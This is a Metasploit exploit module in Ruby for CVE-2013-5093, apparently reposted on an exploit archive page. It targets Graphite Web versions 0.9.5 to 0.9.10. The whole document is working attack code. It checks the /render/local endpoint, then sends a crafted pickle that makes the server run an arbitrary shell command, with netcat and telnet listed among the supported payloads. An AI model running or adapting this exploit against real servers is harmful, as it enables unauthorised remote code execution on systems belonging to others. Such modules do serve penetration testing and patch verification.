Graphite Web Unsafe Pickle Handling Exploit

:
23.08.2013
:
Graphite 0.9.5, 0.9.10
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Graphite Web Unsafe Pickle Handling',
'Description' => %q{
This module exploits a remote code execution vulnerability in the pickle
handling of the rendering code in the Graphite Web project between version
0.9.5 and 0.9.10(both included).
},
'Author' =>
[
'Charlie Eriksen' # Initial discovery and exploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-5093'],
[ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Aug 20 2013',
'DefaultTarget' => 0,
'Payload' =>
{
'DisableNops' => true,
'Space' => 16384,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'python generic telnet netcat perl ruby'
}
}))

register_options(
[
OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
], self.class)

end

def check
response = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
'method' => 'POST'
})

if response and response.code == 500
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end

def exploit
data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."

print_status("Sending exploit payload...")

response = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
'method' => 'POST',
'data' => data
})
end
end